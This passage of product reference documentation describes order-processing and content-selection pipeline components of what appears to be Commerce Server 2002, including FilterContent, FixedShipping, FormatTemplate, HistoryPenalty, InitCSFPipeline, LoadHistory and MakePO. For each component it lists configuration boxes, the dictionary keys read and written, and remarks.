_content | Order | A key whose value is a reference to a ContentList object. The Filter method accesses various fields in the content items in the ContentList object in the course of filtering the content items.

Values Written

The FilterContent pipeline component writes the following value to the Order dictionary.

Key | Description
_content | A key whose value is a reference to a ContentList object. The Filter method may set the score field of various content items in the ContentList object to zero (0), thus eliminating them from the selection process.

Remarks

The FilterContent component applies filters to a content list in a Content Selection pipeline. The filters to apply are retrieved from FilterRequire and FilterExclude dictionaries in the Order dictionary.

This component uses the Filter method of the ContentList object. Content items may be eliminated from the selection process either by failing to meet a required condition or by meeting an exclusion condition. The Filter method is called once for each key in the dictionaries referenced by the FilterRequire and FilterExclude entries. The keys in these dictionaries should correspond to column names in the ContentList object; the values stored under the keys correspond to the values to be tested for.

Filtering is much faster than expression evaluation and it occurs at an earlier stage in Content Selection Framework (CSF) pipelines. The ContentList object builds indexes on any fields that are filtered. Because of this indexing, it is more efficient to do as much targeting as possible in the filter stage using the FilterContent component. PageGroup targeting in the Campaign Manager in Commerce Server Business Desk is an example of how a typical CSF pipeline takes advantage of this.

The list of content is contained in the ContentList object identified by the _content entry in the Order dictionary.

See Also

ContentList.Filter


FixedHandling

Use this component to add a fixed handling charge to an order.

The FixedHandling component is supplied for backward compatibility with Site Server 3.0 Commerce Edition only. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Handling stage.

Configuration Values

You can determine how the FixedHandling component applies the handling cost and the cost itself by setting component properties. Use the following boxes on the Fixed Handling tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the handling charge specified in the Cost box. The values are:
Always
Default. Specifies that the handling charge is always set to the value of the Cost box.
Equal to method
Specifies that the handling cost should be applied when the value of the shipping_method key in the Order dictionary is the same as the string specified for the Method box.
Has any value
Specifies that the handling cost is applied when the shipping_method key of the order has any non-null value.
Method | The shipping method to match against the value of the shipping_method key in the Order dictionary. Used when value in the Apply when box is set to Equal to method.
Cost | This box specifies the handling charge.

Values Read

The FixedHandling component reads the following value from the indicated dictionary.

Key | Dictionary | Description
shipping_method | Order | This key is read when the value in the Apply when box is set to Equal to method or Has any value.

Values Written

The FixedHandling component writes the following value to the Order dictionary:

Key | Description
_handling_total | The handling total for the entire order.

Remarks

The FixedHandling component sets the value of the _handling_total key on the order form to the fixed amount specified in the Cost box.

Programmatic Use

To use the FixedHandling component outside a pipeline, you must configure it by assigning values to keys in the Configuration dictionary. The keys correspond to the indicated fields in the Component Properties dialog box.

The FixedHandlingCy component does not require configuration values when used outside of a pipeline.

For more information about using pipeline components outside of pipelines, see MicroPipe in C++ for components written in C++, or Micropipe in Visual Basic for components written in Visual Basic.


FixedShipping

Use this component to apply a fixed shipping charge to an order.

Note

  • The FixedShipping component is for backward compatibility with Site Server 3.0 only and does not support the new, extended Currency datatype.

Intended use: Order Processing pipeline, Shipping stage.

Configuration Values

You can determine how the FixedShipping component applies the shipping cost by setting component properties. Use the following boxes on the Fixed Shipping tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the shipping charge specified in the Cost box. The values are:
Always
Default. Specifies that the shipping charge is always set to the value of the Cost box.
Equal to method
Specifies that the shipping cost should be applied when the value of the shipping_method key in the Order dictionary is the same as the string specified for the Method box.
Has any value
Specifies that the shipping cost is applied when the shipping_method key of the order has any non-null value.
Method | The shipping method to match against the value of the shipping_method key in the Order dictionary. Used when the value in the Apply when box is set to Equal to method.
Cost | Specifies the shipping charge.

Values Read

The FixedShipping component reads the following value from the indicated dictionary.

Key | Dictionary | Description
shipping_method | Order | Read when the value in the Apply when box is set to Equal to method or Has any value.

Values Written

The FixedShipping component writes the following value to the Order dictionary:

Key | Description
_shipping_total | The shipping total for the entire order.

Remarks

The FixedShipping component sets the value of the _shipping_total key to the fixed amount specified in the Cost box.

You cannot specify more than one method per component. If you need to specify more than one shipping method, add a separate FixedShipping component for each method.

Example

The following example sets the shipping cost to $9.95, for items shipped by Carrier1.

Box | Value
Apply when | Equal to Method
Method | Carrier1
Cost | 995

When configuring the components in this stage, make sure that the components are in the order in which you want them run so that charges are calculated and applied in the correct order.


FlagInventory

Use this component to determine if any items on the order form are out of stock.

Intended use: Order Processing pipeline, Inventory stage.

Configuration Values

You can determine how the FlagInventory component deals with back orders by setting component properties. Use the following boxes on the Flag Inventory tab of the Component Properties dialog box to determine this information.

Box | Description
Disallow Backorder | If selected, indicates back orders are not permitted. The component will add a message to the _Purchase_Errors list when there is a back order.

Values Read

The FlagInventory component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._product_in_stock | Order | Optional. The quantity of this item in stock.
item.quantity | Order | The quantity of the item ordered.
MessageManager | Context | Dynamic. A reference to a MessageManager object. Used to retrieve the out-of-stock constant (pur_out_of_stock) in case of an error. Used only if the Disallow Backorder box is selected.

Values Written

The FlagInventory component writes the following values to the Order dictionary.

Key | Description
item._inventory_backorder | The amount back ordered to fulfill the order for this item.
_Purchase_Errors | Dynamic. Error messages are written to this SimpleList object only if the Disallow Backorder box is selected.

Errors

The component writes error messages to the _Purchase_Errors collection. The component uses a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_out_of_stock | An item in the order is out of stock.

Remarks

When this component runs, it loops through the item list in the order form, checking the value of the _product_in_stock field for each item. If that value is zero (0), the component sets the _inventory_backorder key to the quantity ordered to indicate the shortage. In addition, if the Disallow Backorder box is selected, the component writes an out-of-stock message to the _Purchase_Errors list of the order form.

The _product_in_stock value corresponds to the in_stock column in the products database table.

This component verifies that none of the order items have the _product_in_stock value, which corresponds to the in_stock column in the products database table, set to zero (0). If any item does have this field set to zero, the FlagInventory component sets the _inventory_backorder key to the quantity ordered (indicating the shortage). If such a shortage occurs and the Disallow Backorder box is selected, the FlagInventory component will generate a pur_out_of_stock error in the _Purchase_Errors collection. This component interacts with a manual inventory control process; the product database must be updated to reflect the actual stock on hand.

If you include the FlagInventory component in your pipeline, the order form must contain a column named _product_in_stock. This value is placed in the order form by the query that is run in the Product Information stage, usually by the QueryProdInfoADO component or the QueryCatalogInfo component. Usually, this value is selected from a database column named in_stock. You can also place _product_in_stock column on the order form by manipulating the query.

This component interacts with a manual inventory control process. The product database must be updated to reflect the actual stock on hand.


FormatTemplate

Use this pipeline component to merge data from selected items and their associated templates to form formatted strings. These are usually HTML strings ready for display on the page. Items may come from the Context dictionary as well as the ContentList object in the Order dictionary.

Although this component appears as the FormatTemplate component in the Pipeline Editor, its ProgID is Commerce.CSFFormatTemplate.

Intended use: Content Selection pipeline, Format stage.

Configuration Values

None.

Values Read

The FormatTemplate component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_winnerindexes Order A SimpleList object containing the ContentList object positions of the winning content items.

If this key is present, the _winners key should not be present. If both are present, only this key is used.
_winners Order A SimpleList object containing the values from the item_id key of the winning content items.

If this entry is present, the _winnerindexes key should not be present. If both are present, only the _winners_indexes key is used.
_content | Order | A reference to the ContentList object. Multiple values are read. See the Remarks section below.
<arbitrary entry> | Context | Optional. Any arbitrary property from the Context dictionary can be a source for a substituted value in a template.
FormatTemplate Order Optional. If present, this key overrides the default format template associated with each content item being formatted. The value of this key can be:
A string
The string contains the key in the Templates dictionary of the Context dictionary. The value associated with that key is a Format Template dictionary.
A reference
A reference to a Format Template dictionary.
templates | Context | Optional. A dictionary that maps names to Format Template dictionaries. Normally, the templates key of a content item would contain a name used as a key to this dictionary, giving the proper Format Template dictionary.
ContextProfile | Context | Optional. A reference to the ContentSelector object that can be named as a source for the template substitutions performed by this component.
RedirectUrl | Context | Optional. A string containing the URL of the redirector script. Note that most templates require this key.
CacheName | Context | Optional. A string containing the name of the current content cache. Note that most templates require this key.

The FormatTemplate component reads the following values for each item in the ContentList object referred to by the _content key:

Key | Description
item_id | The identifier for the various content items.
<arbitrary fields> | A field in the ContentList object specified by a Template dictionary. Acts as the source of a value used in the template.
values | A dictionary derived from the creative_property and creative_property_values tables in the marketing database. The values in the dictionary are specific to the creative type.
template | The name of a template in the Templates dictionary. Either this value or the FormatTemplate entry in the Order dictionary must be specified.

All of these keys are optional with the exception of the item_id key.

Values Written

The FormatTemplate component writes the following values to the Order dictionary.

Key | Description
_formatted | A SimpleList object containing the formatted strings.

Remarks

A template is a string that contains substitution variables. Substitution variables can consist of letters, numbers, the underscore character, and are identified in the template string by the delimiters {% and %}. For example, {%Book_Title%} is a valid substitution variable. If for some reason you need to have a literal {% in your document, append an ampersand (&) to the sequence ({%&).

The information that replaces the substitution variables can come from several sources, including the Values dictionary in the ContentList object, the actual content item fields in the ContentList object, and from arbitrary properties in the ContentSelector object (CSO) or the Context dictionary. In addition, a default value can be supplied in the event that no value is found elsewhere. The source of the value, the default value, and how the value should be encoded, are all contained with the template string in a Format Template dictionary.

The Values dictionary is used to store variable properties of a particular type of content. For example, image ads and text ads are both ads, and should be in the same ContentList object so that they can compete with each other. But some of their properties are unique and do not apply to ads of the other type. This presents problems in the fixed schema supported by the ContentList object. The solution is a CLCOL_DISPATCH column (named Values) containing values that are references to dictionaries that contain unique keys and values. The keys and values in these dictionaries come from the creative_property and creative_property_values tables.

Format Template dictionaries are created by the LoadAdvertisements and LoadDiscounts objects from information in the marketing database. A Format Template dictionary contains a single template and information about the substitution variables in the template. It contains an entry named "text" and the value for that entry is the template string. For each substitution variable in that string, the Format Template dictionary contains three additional entries that provide the value source, the default value, and the encoding scheme for that variable. The names of these additional entries are formed by the name of the variable appended with one of the strings "_default", "_source", and "_encoding." The following table describes these additional dictionary entries.

Dictionary Entries | Description of Dictionary Entry Value
Text | The text of the template, which may include substitution variables. The other entries in the dictionary provide information about how values for the substitution variables are retrieved and formatted.
<variable>_default | A string that provides the default value, if any, for the substitution value. The default value is used if a value cannot be found in any of the specified sources.
<variable>_source A number indicating sources for the value. The name of the variable is searched for in a variety of places, indicated by one of the following numbers:
1
Looks for a value in the content item. First, the Values dictionary in the ContentList object is used, if it is present. Next, the columns of the ContentList object are examined.
2
Uses an intrinsic value, if one matches. The only currently supported intrinsic value is "unique," which causes a unique number to be generated.
3
Looks for a value in the Context dictionary. First the ContextProfile entry (the CSO) in that dictionary is examined for a matching entry name, and then the Context dictionary is examined for a matching entry name.
NULL or zero (0)
Examines all of the above sources in the order shown, stopping when the first match is found.

If no value can be found in the specified sources, the default value is used.
<variable>_encoding A number indicating the type of encoding, if any, to apply to the value. The options are:
NULL or zero
No encoding.
1
Performs full URL-encoding. An example of when this encoding is required would be a ClickUrl entry passed to the redirector.
2
Limits encoding in which space characters are encoded as plus characters. As an example, this type of encoding is useful in would-be URLs that do not go through the redirector, such as image URLs.

The resulting strings are returned in a SimpleList object assigned to the _formatted key in the Order dictionary.

See Also

CSFLoadAdvertisements

CSFLoadDiscounts


HistoryPenalty

Use this component to apply penalties to content items based on how recently they have been selected.

Although this component appears as HistoryPenalty in the Pipeline Editor, its ProgID is Commerce.CSFHistoryPenalty.

Intended use: Content Selection pipeline, Score stage.

Configuration Values

You can determine how the HistoryPenalty component applies penalties and the range of penalties by setting component properties. Use the following boxes on the History Penalty tab of the Component Properties dialog box to determine this information.

Box | Description
Apply Penalties in the range of | The minimum penalty. The default is 0.9.
To | The maximum penalty. The default is 0.5.
Number of most recent items to penalize | The number of most recent items to penalize. The default is 10.

Penalty values range between zero (0) and one (1).

Values Read

The HistoryPenalty component reads the following values from the indicated dictionary.

Key | Dictionary | Description
_content | Order | A reference to the ContentList object containing the content items that may have penalties applied to their scores. In particular the, item_id and exposure_limit keys are read.
_history | Order | The key containing the history string retrieved by the LoadHistory component.
trace | Context | A Boolean indicating whether score adjustment tracing is enabled. This component will not produce trace strings unless this key is set to True.

Values Written

The HistoryPenalty component writes the following values to the Order dictionary.

Key | Description
_content | A reference to the ContentList object containing the content items that may have their scores subjected to penalties.

Remarks

This component applies penalties to the scores of content items based on how recently the items have been selected, as well as on exposure limits the items may have. Penalties are values between zero (0) and one (1), which are multiplied by the current score of an item. This tends to reduce a score and thus reduces the possibility that the item is selected.

For example, a user could configure the nine most recently selected items to be subject to penalties ranging from 0.90 to 0.1. In this example, the most recently shown item would have its current score multiplied by 0.1, reducing its score and drastically decreasing the likelihood of being selected. The second most recently shown item would have its current score multiplied by 0.2, reducing its score slightly less.

The HistoryPenalty component reads the exposure_limit and item_id keys of each item in the ContentList object referenced by the _content entry. The exposure_limit key is a hard limit on how many times a user is shown an item. Once the limit is met, the score of the item is multiplied by zero (0.0). The adjusted score of an item is assigned to the score field of the content item.


IISAppendToLog

Use this component to record information about content selection results in the QueryString key of the Internet Information Server (IIS) log file.

Although this component appears as IISAppendToLog in the Pipeline Editor, its ProgID is Commerce.CSFIISAppendToLog.

Intended use: Event Processing pipeline, Record stage.

Configuration Values

None.

Values Read

The IISAppendToLog component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_event | Order | A string containing the name of the event to log.
_eventcount | Order | Optional. A SimpleList object containing the number of events to record for each winning content item. It must contain the same number of elements as the list of winners. If this key is not present, one event will be recorded for each winning content item.
_winnerindexes | Order | A SimpleList object containing the ContentList object indexes of the winning content items. If this key is present, the _winners key should not be present. If both are present, only the _winnerindexes key is used.
_winners | Order | A SimpleList object containing the values from the item_id key of the winning content items. If this entry is present, the _winnerindexes key should not be present. If both are present, only the _winnersindexes key will be used.
ContextProfile.PageGroup | Context | The PageGroup key from the ContentSelection object stored in the dictionary referenced by the ContextProfile object.
PageGroups | Context | A dictionary that maps page group names to IDs from the identity column in the page_groups database table.

Values Written

None for the Order or Context dictionaries.

Remarks

This component appends information about the result of the content selection process in the QueryString key of the IIS log file. This log file can be imported into the Data Warehouse for use with reporting and analysis. This component can only be used in the context of IIS because it uses the AppendToLog method of the IIS Response object.

The logging format is:

&CVET={T=class, property=value, property=value1+value2}

The components and their descriptions for this logging format are listed in the following table.

Component Description
&CEVT={
 The start of a Commerce event entry in the URI_Query object.
}
 The end of a Commerce event in the URI_Query object.
T=class
 The event class as defined in the Data Warehouse event class definitions, where class is the name of the corresponding definition. The value of class is always CAMP.
Property=value
 A value associated with a particular property. Both property and value strings must be URL-encoded (the space character and the following characters are subject to encoding: { } , = & +).Typical properties include CI (campaign item), CNT (count), and EVT (event).
Property=value1+value2
 Multiple values that are associated with a particular property. Both property and value strings are URL-encoded.
, (comma)
 Used as the separator between elements.

The following lines are examples of possible log formatted strings and a description of their contents:

&CEVT={T=CAMP,CI=3,EVT=REQUEST,PG=2}

Campaign event, campaign item 3, event name=REQUEST, page group id =2

&CEVT={T=CAMP,CI=1,CNT=3,EVT=CLICK}

Campaign event, campaign item 1, count=3, event name=CLICK

&CEVT={T=CAMP,CI=3,EVT=DOWNLOAD}

Campaign event, campaign item 3, event name=DOWNLOAD


InitCSFPipeline

Use this component at the beginning of a Content Selection pipeline (CSP) to initialize the values needed in the rest of the pipeline.

Although this component appears as InitCSFPipeline in the Pipeline Editor, its ProgID is Commerce.CSFInitPipeline.

Intended use: Content Selection pipeline, LoadContext stage.

Configuration Values

None.

Values Read

The InitCSFPipeline component reads the following values from the indicated dictionary.

Key | Dictionary | Description
ContextProfile | Context | A reference to the ContentSelector object (CSO). This object can be assigned arbitrary properties and can be used to pass additional information into the pipeline. Two entries are required. For more information, see the Remarks section.

The InitCSFPipeline component reads the following values from the ContextProfile key.

Key | Description
CacheName | The name of the cache. Used to retrieve the cache from the CacheManager object.
CacheManager | A reference to the CacheManager object.
Trace | Optional. A Boolean providing the Trace setting for the entire pipeline. Set in the ContentSelector object. Use tracing only when debugging a pipeline — tracing degrades pipeline performance.
Evaluator | Optional. Reference to an expression evaluator that is copied to the Context dictionary if it is set.
PageGroup | Optional. If present, this key causes the Cache.PageGroup property to be copied into the Context dictionary. This key is also used as a key in the FilterRequire dictionary. For more information, see the Remarks section.
Size | Optional. If present, this key is created as a key in the FilterRequire dictionary. For more information, see the Remarks section.
NumRequested | Optional. The NumRequested property of the ContentSelector object: the number of content items requested. This key is copied to the Context dictionary if it is set.
UserProfile | Optional. This key is a reference to a user profile object. This key is copied to the Context dictionary if it is set.
FilterRequire | Optional. This key is copied to the Context dictionary if it is set. For more information, see the Remarks section.
FilterExclude | Optional. This key is copied the to Context dictionary if it is set. For more information, see the Remarks section.

Values Written

The InitCSFPipeline component writes the following values in the indicated dictionaries.

Key | Dictionary | Description
_content | Order | A reference to a newly created and initialized ContentList object.
Performance | Order | A reference to the Performance dictionary, retrieved from the content cache. This key is used by the AdvertisingNeedOfDelivery component later in a pipeline to select content items. See RecordEvent for information about this dictionary.
NumRequested | Order | An optional entry created only if the ContextProfile object has a NumRequested property set. This key indicates the number of content items being requested. The pipeline returns only one content item when this key is not present.
FilterRequire | Order | This key is copied from the ContextProfile.FilterRequire object if present. When present, this key causes the FilterContent component to invoke the Filter method of the ContentList object for each entry in the dictionary. The FilterAction parameter will be set to FILTER_REQUIRE for these invocations. The dictionary has keys that are the names of content fields to search and values that are the values to match.
FilterExclude | Order | This key is copied from the ContextProfile.FilterExclude object if present. When present, this key will cause the FilterContent component to invoke the Filter method of the ContentList object for each entry in the dictionary. The FilterAction parameter is set to FILTER_EXCLUDE for these invocations. The dictionary has keys that are the names of content fields to search and values that are the values to match.
_cache | Context | A reference to the Dictionary object containing the items retrieved from the cache.
Templates | Context | The templates property of the cache. A Dictionary object.
Trace | Context | The trace setting from the ContextProfile object, if any. This value is used as the value for the TraceMode property in the ContentList object, turning tracing either on or off.
Evaluator | Context | The Evaluator object from the ContextProfile object.
RedirectUrl | Context | The Uniform Resource Locator (URL) to which to redirect users.
TargetGroups | Context | The TargetGroups entry from the cache.
PageGroups | Context | The PageGroups entry from the cache.
PageHistory | Context | The PageHistory entry from the ContextProfile object, if any.
UserProfile | Context | A reference to the user profile copied from the ContentSelector object (CSO).

Remarks

The InitCSFPipeline component is responsible for setting up numerous values in the Order and Context dictionaries for use by subsequent components in a Content Selection pipeline. In addition, the component automatically generates some content filters and allows you to use FilterInclude, FilterExclude, and PageGroups dictionaries to customize filtering without writing new pipeline components.

In general, the values the InitCSFPipeline component sets up in the Order and Context dictionaries are derived from the ContextProfile entry in the Context dictionary, or from the Cache dictionary retrieved from the CacheManager object. The ContextProfile entry in the Order dictionary contains a reference to the ContentSelector object, which provides much of the information required by the pipeline.

Also, by moving the various values from the ContextProfile to the Order and Context dictionary objects, the pipeline components farther down the pipeline have much more efficient access to this data.

Perhaps the most important task performed by the InitCSFPipeline component is the creation and initialization of the ContentList object. It is within this object that content scoring is tracked during execution of the pipeline.

The InitCSFPipeline component creates the ContentList object by following these steps:

  1. Retrieve the name of the cache from ContextProfile.
  2. Retrieve the CacheManager object from ContextProfile.CacheManager property.
  3. Get the cache from the CacheManager object.
  4. Obtain the ContentListFactory object from the cache.
  5. Call the CreateNewContentList method of the ContentListFactory object and assign the new content list to the _content key in the Order dictionary.

The FilterRequire and FilterExclude dictionaries allow custom filters to be set up without writing new pipeline components. For ease of use, the InitCSFPipeline component automatically sets up some commonly used filters for page group, ad size, and (for Discount Content Selection pipelines) NoDisplay templates. If no FilterRequire or FilterExclude dictionary is explicitly passed and one of these filters is applicable, the filter dictionary will automatically be created. If the InitCSFPipeline component detects existing filters for these keys already in a filter dictionary, it will not modify the filter.

The InitCSFPipeline component creates a filter for PageGroup (unless one already exists). This filter contains the special PageGroup "All" (Run of Site), which allows any content marked to run on the whole site to pass, and it also contains the value of the PageGroup property set on the ContentSelector object making the GetContent call (if set).

This component breaks the rule of never writing data to the Context dictionary. Nevertheless, the convention should be observed as it is by the vast majority of pipeline components.

See Also

ContentList.Filter


ItemPromo

Use this component to apply a promotional price adjustment to an item on the order form.

Note

  • The ItemPromo component should not be used for future development. The discount features of the Content Selection pipeline provide a more powerful and general mechanism for applying product discounts. For more information, see Discount Objects.

Use this component to apply a promotional price adjustment to an item on the items list for the order form. The ItemPromo component first determines whether the current date falls within the time period specified by the Start Date and End Date boxes. If it does, then the component evaluates the item to determine if it meets the conditions of the promotion (specified by the combination of the Condition Order Key, Condition Operator, and Condition Value boxes). If it does, then the ItemPromo component applies the specified discount and writes the new value to the _iadjust_currentprice key on the item order form, provided that the _iadjust_currentprice key has not been initialized by a previously run component.

Intended use: Order Processing pipeline, Adjust Price stage.

Configuration Values

You can determine the discount the ItemPromo component applies and the discount type by setting component properties. Use the following boxes on the Item Promo tab of the Component Properties dialog box to determine this information.

Box | Description
Condition Order Key | The name of the item attribute that identifies the condition to meet for a promotion to be applied (for example, _product_type).
Condition Operator | An operator (<, <=, =, >=, >, or <>) used to compare the value of the Condition Order Key box with the value in the Condition Value box. The default is the equal (=) operator.
Condition Value | The product or products that must be purchased before the promotion is applied. The value in this box is compared with the value in the column name specified in the Condition Order Key box. This value can be text, an integer, or a floating-point number.
Discount Type | Shows whether the discount is a percentage-off discount or a price discount. The default is percentage-off discount.
Discount Value | The discount amount. This must be an integer value; floating-point numbers (for example, .10) are not accepted. The default is zero (0).
Start Date | Optional. The date the promotion begins, starting at 12:00:01 a.m.
End Date | Optional. The date the promotion ends, ending at 12:00:01 a.m. For example, if you want the last day of a promotion to be 3/31, you would specify an End Date of 4/1.

Values Read

The ItemPromo component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._iadjust_regularprice | Order | The regular price of the item.
item._iadjust_currentprice | Order | The current price of the item.
item.<name> | Order | Dynamic. The key specified in the Condition Order Key box.

Values Written

The ItemPromo component writes the following values to the Order dictionary.

Key | Description
item._iadjust_currentprice | The current price of the item with the discount applied.

Remarks

The ItemPromo component applies a promotional price adjustment to an item in the item list in the order form. The component performs the following steps in testing and applying the discount:

  1. The ItemPromo component first determines whether the current date falls within the period specified by the values in the Start Date and End Date boxes.
  2. If the current date is in range, the component evaluates the item to determine if it meets the condition for the promotion. The condition is specified by the combination of the values in the Condition Order Key, Condition Operator, and Condition Value boxes.
  3. If the item meets the condition, the ItemPromo component applies the specified discount and writes the new value to the _iadjust_currentprice key of the item in the order form, provided that the _iadjust_currentprice key has not been initialized by a previously run component.

The promotional comparisons specified in the Conditional Value box are case-sensitive. For example, a product ID of AW13-200 will be interpreted differently than a product ID of aw13-200.

In addition, because the Start Date and End Date boxes for a promotion specify midnight, the value in the End Date box excludes the day specified. For example, if you want the last day of a promotion to be 3/31, be sure to specify that the promotion ends on 4/1.


LinearHandling

Use this component to set the handling total on an order by multiplying a field on the order form by a fixed rate.

Note

  • The LinearHandling component is for backward compatibility only and does not support the new, extended Currency datatype.

Intended use: Order Processing pipeline, Handling stage.

Configuration Values

You can determine how the LinearHandling component applies the handling rate and the rate itself by setting component properties. Use the following boxes on the Linear Handling tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the handling charge. The values are:
Always
Default. The handling charge is always applied to the order.
Equal to method
Specifies that the handling cost should be applied when the value of shipping_method key in the Order dictionary is the same as the string specified as the value for the Method box.
Has any value
Specifies that the handling charge is applied when the shipping_method key of the order has any non-null value.
Method | The shipping method to match against the value of the shipping_method key in the Order dictionary. Used when the value in the Apply when box is set to Equal to method.
Basis Item Key | The property of the item to use in computing the handling charge. Defaults to the sum.quantity key.
Rate | The handling rate, which is an integer value.

Values Read

The LinearHandling component reads the following value from the indicated dictionary.

Key | Dictionary | Description
item.sum_quantity | Order | Dynamic. Default shown. The property of the item to use in computing the handling charge. The key name is determined by the value in the Basis Item Key configuration box.

Values Written

The LinearHandling component writes the following value to the Order dictionary.

Key | Description
_handling_total | The handling total for the entire order.

Remarks

The LinearHandling component computes the handling charge by multiplying the value specified in the Rate box by the sum of the property specified for the Basis Item Key box. For example, you might base the linear handling charge on the quantity of the items, and the value in the Basis Item Key box might be sum.quantity key. If the order contains two items, one item with a quantity of four and the other item with a quantity of two, then the basis sum is six. The component calculates the handling charge by multiplying the value in the Rate box by six.

For more general information about basis item keys, see Specifying the Basis Item Key.


LinearShipping

Use this component to calculate the shipping total on an order form using a fixed rate.

Note

  • The LinearShipping component is for backward compatibility only and does not support the new, extended Currency datatype.

Intended use: Order Processing pipeline, Shipping stage.

Configuration Values

You can determine how the LinearShipping component applies the shipping rate and the rate itself by setting component properties. Use the following boxes on the Linear Shipping tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the shipping charge. The values are:
Always
Default. Specifies that the shipping charge is always applied to the order.
Equal to method
Specifies that the shipping cost should be applied when the value of the shipping_method key in the Order dictionary is the same as the string value specified in the Method box.
Has any value
Specifies that the shipping cost is applied when the shipping_method key of the order has any non-null value.
Method | The shipping method to match against the value of the shipping_method key in the Order dictionary. Used when the value in the Apply when box is set to Equal to method box.
Basis Item Key | The item property to use in computing the shipping charge. Defaults to the sum.quantity key.
Rate | The handling rate, which is an integer value.

Enter the value in the same currency unit in which prices are stored in the database.

Values Read

The LinearShipping component reads the following value from the indicated dictionary.

Key | Dictionary | Description
item.sum_quantity | Order | Dynamic. Default shown. The property of the item to use in computing the shipping charge. The key name is determined by the Basis Item Key configuration box.

Values Written

The LinearShipping component writes the following value to the Order dictionary.

Key | Description
_shipping_total | The shipping total for the entire order.

Remarks

The LinearShipping component computes the shipping charge by multiplying the value specified in the Rate box by the sum of the property specified in the Basis Item Key box. For example, you might base the linear shipping charge on the quantity of the items, and the value in the Basis Item Key box might be the sum.quantity key. If the order contains two items, one item with a quantity of four and the other item with a quantity of two, then the basis sum is six. The component calculates the handling charge by multiplying the value in the Rate box by six.

For more general information about basis item keys, see Specifying the Basis Item Key.


LoadHistory

Use this component to retrieve a history string from a user profile, an item in the Active Server Pages (ASP) session collection, or a cookie.

Although the component appears as LoadHistory in the Pipeline Editor, its ProgID is Commerce.CSFLoadHistory.

Intended use: Content Selection pipeline, Load Context stage.

Configuration Values

You can determine where the LoadHistory component retrieves the history string by setting component properties. Use the following boxes on the Load History tab of the Component Properties dialog box to determine this information. You must choose one of the following options.

Box | Description
User Profile Object | The property in the user profile object containing the history string.
ASP Session Collection | The key in the Session object containing the history string. Requires that the component be configured with the proper key and that the pipeline be executing in the Internet Information Server (IIS) context.
HTTP Cookie The key in the Cookies object containing the history string. Requires that the component be configured with the proper key and that the pipeline be executing in the IIS context.

Note

  • The cookie is a session cookie and will not persist across sessions.

The default user object profile that ships with Commerce Server 2002 contains a property for the history string: Advertising Info.Campaign History. This is the only method that persists the history string across user sessions on the site (required to support ExposureLimit data member properly).

Values Read

The LoadHistory component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
UserProfile | Context | A reference to the ProfileObject object for this user. This entry is optional, and is required only when the User Profile Object option is used.

Values Written

The LoadHistory component writes the following value to the Order dictionary.

Key | Description
_history | The history string, retrieved from one of the sources, as configured in the property page of the component.

Remarks

This component makes the history string easily accessible to other pipeline components by hiding its source.

If the User Profile Object option is chosen as the source for the history string, the property page requires the name of the property in the User Profile Object in which the history string is maintained.

When using the User Profile Object option, it is possible to use either a field that is mapped to a data column in a table, or a field that is not mapped. If the field is not mapped, the history string is persisted only for the duration of the user session and is later timed out of the profile cache. This method is more efficient than using the mapped method, but the mapped method allows the history string to be persisted across sessions. The unmapped option does not allow you to load balance Domain Name Server (DNS) network requests by sending the incoming requests to the next server in a list (round-robin load balancing).


LocalInventory

Use this component to set the number of items back ordered on the order form.

Intended use: Order Processing pipeline, Inventory stage.

Configuration Values

You can determine how the LocalInventory component deals with back orders by setting component properties. Use the following boxes on the Local Inventory tab of the Component Properties dialog box to determine this information.

Box | Description
Disallow Backorder | If selected, indicates that back orders are not permitted. The component adds a message to the _Purchase_Errors list if there is a back order.

Values Read

The LocalInventory component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._product_local_inventory | Order | The local inventory for this stockkeeping unit (SKU).
item.quantity | Order | The quantity of the item ordered.
item.sku | Order | A unique identifier for the product.
MessageManager | Context | Dynamic. This key is used only if the Disallow Backorder option is selected. This key is a reference to a MessageManager object, and is used to retrieve the out of stock constant (pur_out_of_stock) in case of an error.

Values Written

The LocalInventory component writes the following values to the Order dictionary.

Key | Description
item._inventory_backorder | The amount back ordered to fulfill the order for this item.
_Purchase_Errors | Dynamic. Error messages are written to this SimpleList object only if the Disallow Backorder option is selected.

Errors

The component writes error messages to the _Purchase_Errors collection. The component uses a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_out_of_stock | An item in the order is out of stock.

Remarks

The LocalInventory component sets the value of the _inventory_backorder key on the order form to the number of items back ordered. The LocalInventory component takes the sum of the items for each SKU in the order, and then compares this number with the value of the _product_local_inventory key. If the value of the _product_local_inventory key is less than the number of items ordered, the component sets the value of the _inventory_backorder key to the difference.

The value of the item._product_local_inventory key is set from a database table by a components such as QueryProdInfoADO or QueryCatalogInfo.

See Also

FlagInventory

QueryCatalogInfo

QueryProdInfoADO


MakePO

Use this component to produce a string by merging information from the order form with a template, such as creating a purchase order formatted from a purchase order template.

Configuration Values

You can determine how the MakePO component formats the purchase order and where it is written by setting component properties. Use the following boxes on the Make PO tab of the Component Properties dialog box to determine this information.

Box | Description
Template File Name | The name of the file providing the template for the purchase order. The template is usually a Microsoft Visual Basic Scripting Edition (VBScript) file in a special format described below.
Script language for the template | The programming language used in the template. The default is VBScript.
Output Property Name | The name of a field in the order form or Transport dictionary to which the component writes the PO. The default is _po_text.
Child Object Name | Applies only when the Use Child Object option is set. A child object is an object that is referenced by a key in the Transport dictionary that is passed into the pipeline. The Child Object Name box specifies the key. In a Commerce Interchange pipeline, the order form (business data object) from which the MakePO component generates the purchase order is a child object.
Use Child Object | Determines the source from which the component reads the purchase order information. Select this option when using a Commerce Interchange pipeline so that the component reads this information from the business data object specified by the value in the Child Object Name box. Clear this check box when using an Order Processing pipeline so that the component reads this information from the order form passed directly into the pipeline.

Values Read

The MakePO component reads the file indicated in the Template File Name box. The script can read anything available to it.

Values Written

The MakePO component assigns the value to the key in the Transport dictionary indicated in the Output Property Name box. The script may also be written to write out additional values.

Remarks

